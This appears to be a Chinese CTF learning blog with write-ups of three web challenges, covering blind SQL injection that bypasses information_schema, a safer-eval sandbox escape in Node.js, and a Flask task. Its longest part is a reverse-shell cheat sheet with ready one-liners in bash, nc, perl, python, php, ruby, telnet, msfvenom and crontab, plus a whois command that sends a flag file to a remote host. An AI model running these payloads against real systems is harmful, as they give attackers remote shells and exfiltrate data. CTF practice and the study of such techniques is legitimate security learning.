[GYCTF2020]Ezsqli
这回sql注入跑不了把!
老哥好像又见面了!!!大佬👀👀👀
注入点判断
发现下面的数据框好像 只有 1和2有结果!!!
试了试发现注入点了!
FUZZ一下
发现过滤了:
过滤了if |
刚刚发现可以 异或
sleep班了咋高!
没关系和之前做的一个题一样!
错了!还是学到了新东西的!
他把information办了!看了wp是用 sys.x$schema_flattened_keys或者sys.schema_table_statistics_with_buffer替换的!
聊一聊bypass information_schema:
https://www.anquanke.com/post/id/193512
看看mysql5.7版本以上的!
视图
数据库中的数据都是存储在表中的,而视图只是一个或多个表依照某个条件组合而成的结果集,一般来说你可以用update,insert,delete等sql语句修改表中的数据,而对视图只能进行select操作。 2.视图是抽象的,他在使用时,从表里提取出数据,形成虚的表。 |
无列名注入
CTF|mysql之无列名注入:
https://zhuanlan.zhihu.com/p/98206699
这种是要先知道字段数的!!!
用ascii位偏移
当我们不知道有多少字段时!而且有报错回显时!
可以用我们还可以通过join和join…..using(这个是在已经通过join得到了一个字段名后使用)来获取列名。
看这个题:
payload:
爆表 |
exp1
import requests |
exp2
import requests |
注意一下:
1先去试一试:有几个字段:
id=0^((select 1,2)>(select * from f1ag_1s_h3r3_hhhhh)) |
2for循环是下合上开的!
3ascii位偏移相等是时候是0!
而且mysql不区分大小写!!!
flag没大写!!!🙄
0^(ascii(substr(left((select/**/group_concat(flag)/**/from/**/f1ag_1s_h3r3_hhhhh),10),1,1))>20) |
看个大佬的exp:
# coding:utf-8 |
[GKCTF2020]EZ三剑客-EzNode
看题目是考nodejs的吗!
算个1+1都超时!
看看了源码!是nodejs
express框架!学一下!
😶
算了,记住把!!!
在nodejs里 |
把路由都打开看看!!!
/eval 坑定可以执行!(名字折磨明显!) |
/version |
这里直接上网收 “safer-eval”: “1.3.6”漏洞POC
tcl!收到也不会用呀!!!
而且这github咋看的!
const saferEval = require("./src/index"); |
tnl
我是真的垃圾!
找都找不到!
最后还是看wp!
找到了找到了!玩个渗透链浏览器都用不好!玩蛇!
https://github.com/commenthol/safer-eval/issues/10
poc:
const saferEval = require("./src/index"); |
interger超过2147483647可以使int溢出
最后
payload:
?delay=999999999 |
其实我不太懂e参数是咋传的!
脑壳疼🙄🙄🙄🙄
[V&N2020 公开赛]CHECKIN
from flask import Flask, request |
一看就是flask框架!虽然没学过!但是语言语言差不多!框架也都差不多!
🙄一访问shell就删除flag!
难道要条件竞争!
屁屁:一删除就没了!还竞争个鬼呀!
反弹shell再次学习
只要服务器有的脚本语言!都可以用来反弹shell
要先反弹shell!
只要是脚本语言好像就可以反弹shell!
ssh root@node3.buuoj.cn:26889 |
局域网地址范围分三类,以下 IP 段为内网 IP 段:
C类:192.168.0.0 - 192.168.255.255 |
测试
一下都实验了一遍:不自己玩一下感觉容易忘!🙄
python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('172.16.138.110',5555));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);" |
perl
php
ruby
先去学一下!
感觉和perl一样!服务器脚本语言!
whois
直接超的大佬的总结:
0x01 bash版本:
bash -i >& /dev/tcp/attackerip/1234 0>&1 |
注意这个是由解析shell的bash完成,所以某些情况下不支持。我用zsh不能反弹。这个也是最常用的。
0x02 nc版本:
支持-e选项
nc -e /bin/sh attackerip 1234 |
这个方式最简单
不能使用-e选项时:
mknod backpipe p && nc attackerip 8080 0<backpipe | /bin/bash 1>backpipe |
安装的NC版本有问题时:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc attackerip 1234 >/tmp/f |
0x03 Telnet版本:(nc不可用或/dev/tcp不可用时)
mknod backpipe p && telnet attackerip 8080 0<backpipe | /bin/bash 1>backpipe |
0x04 Perl版本:
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' |
不依赖于/bin/sh的shell: ***这条语句比上面的更为简短,而且确实不需要依赖/bin/sh
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"attackerip:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' |
0x05 Python版本:
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
另外的形式:
python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('127.0.0.1',9000))\nwhile 1: proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")" |
另外Metasploit版的代码:
msfvenom -f raw -p python/meterpreter/reverse_tcp LHOST=192.168.90.1 LPORT=1234 |
0x06 php版本:
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' |
0x07 java版本:
r = Runtime.getRuntime() |
0x08 ruby版本:
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' |
不依赖于/bin/sh的shell:
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' |
如果目标系统运行Windows:
ruby -rsocket -e 'c=TCPSocket.new("attackerip","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' |
0x09 crontab定时任务:
这也是在redis未授权访问的时候使用过的。
crontab -e编辑当前用户的任务,或者是写到计划任务目录,一般是/var/spool/cron/目录,ubuntu是/var/spool/cron/crontabs。文件名为用户名root等。下面命令含义是每一分钟执行一次反弹shell命令。具体crontab用法可以参考Crontab定时任务配置
* * * * * /bin/bash -i >& /dev/tcp/attackerip/1234 0>&1 |
最后其实发现,虽然形式不同,但是其实都是基于/bin/bash和/bin/sh
大佬总结版
whois
whois -h 1.1.1.1 -p 5555 `cat flag` |
bash版本
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 |
注意这个是由解析shell的bash完成,所以某些情况下不支持。
Perl版本
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' |
下面这个可以说是上面的升级版了。
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"10.0.0.1:1234");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' |
nc 版
nc -e /bin/sh 10.0.0.1 1234 |
版本问题或不支持-e可使用:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f |
python 版
应该是python2和python3通用的(测试用的python2.7):
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("8.131.72.215",1));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' |
或者:
python -c "exec(\"import socket, subprocess;s = socket.socket();s.connect(('8.131.72.215',1))\nwhile 1: proc = subprocess.Popen(s.recv(1024), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE);s.send(proc.stdout.read()+proc.stderr.read())\")" |
nc: getnameinfo: temporary failure in name resolution怎么办
2020年8月26日 — 问题:阿里云服务器使用nc -lvvp 7777 监听端口报错:nc: getnameinfo: Temporary failure in name resolution解决加个参数nnc -lvnp 7777.
主要 要先去监听!再反弹!!!
curl版
|
Telnet版本
当nc不可用或/dev/tcp不可用时可以考虑:
mknod backpipe p && telnet 10.0.0.1 1234 0<backpipe | /bin/bash 1>backpipe |
php版本
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' |
curl版
<?php |
Ruby版
ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' |
不依赖于/bin/sh的shell:
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.0.0.1","1234");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' |
如果目标系统运行Windows:
ruby -rsocket -e 'c=TCPSocket.new("10.0.0.1","1234");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' |
java版
r = Runtime.getRuntime() |